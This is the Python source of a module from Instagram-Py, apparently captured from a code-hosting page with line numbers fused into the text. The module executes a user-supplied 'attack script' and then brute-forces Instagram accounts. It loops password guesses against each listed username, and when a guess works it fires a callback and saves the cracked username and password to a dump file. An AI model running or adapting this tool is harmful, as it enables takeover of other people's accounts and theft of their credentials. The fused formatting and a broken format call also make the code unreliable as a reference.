Path: blob/master/InstagramPy/InstagramPyScript.py
197 views
# The MIT License.1# Copyright (C) 2017 The Future Shell , DeathSec.2#3# @filename : InstagramPyScript.py4# @description : Handles Instagram-Py Attack Scripts.5import os6from .InstagramPyCLI import InstagramPyCLI7from .InstagramPySession import InstagramPySession, DEFAULT_PATH8from .InstagramPyInstance import InstagramPyInstance9from .InstagramPyDumper import InstagramPyDumper10from datetime import datetime11from .AppInfo import appInfo as AppInformation121314class InstagramPyScript:15script_code = None16cli = InstagramPyCLI(17appinfo=AppInformation,18started=datetime.now(),19verbose_level=0,20username=''21)22threads = {} # not actually threads but a simple dict23no_of_threads = len(threads)2425def __init__(self, script):26self.cli.PrintHeader()27self.cli.PrintDatetime()2829if not os.path.isfile(script):30self.cli.ReportError("no script found at {}".script)3132with open(script, 'r') as f:33self.script_code = compile(f.read(), script, 'exec')3435def run(self):36try:37exec(self.script_code, globals())38count = 039for i in usernames:40try:41cli = InstagramPyCLI(42appinfo=AppInformation,43started=datetime.now(),44verbose_level=i['verbose'],45username=i['id']46)47except:48cli = InstagramPyCLI(49appinfo=AppInformation,50started=datetime.now(),51verbose_level=0,52username=i['id']53)54try:55session = InstagramPySession(56i['id'],57i['password_list'],58DEFAULT_PATH,59DEFAULT_PATH,60cli61)62except:63try:64session = InstagramPySession(65i['id'],66global_password_list,67DEFAULT_PATH,68DEFAULT_PATH,69cli70)71except:72self.cli.ReportError(73"invalid script :: No Password list is Mentioned in the Script!")74try:75session.ReadSaveFile(i['countinue'])76except:77session.ReadSaveFile(False)7879instance = InstagramPyInstance(cli, session)8081self.threads[count] = {82"terminated": False,83"instance": instance84}85try:86self.threads[count]['callback'] = i['callback']87except:88try:89self.threads[count]['callback'] = global_callback90except:91self.threads[count]['callback'] = None92count += 193except Exception as e:94self.cli.ReportError("invalid script :: {}".format(e))9596# Finished Parsing the Custom Attack Script , Start The Attack.97self.no_of_threads = len(self.threads)98while self.no_of_threads is not 0:99for i in self.threads:100if self.threads[i]['terminated'] is True:101continue # next iteration102elif self.threads[i]['instance'].PasswordFound():103if self.threads[i]['callback'] is not None:104self.threads[i]['callback'](105self.threads[i]['instance'].session.username,106self.threads[i]['instance'].session.CurrentPassword()107)108self.threads[i]['instance'].session.WriteDumpFile(109{110"id": self.threads[i]['instance'].session.username,111"password": self.threads[i]['instance'].session.CurrentPassword(),112"started": str(self.threads[i]['instance'].cli.started)113}114)115116self.threads[i]['terminated'] = True117self.no_of_threads -= 1118else:119self.threads[i]['instance'].TryPassword()120121122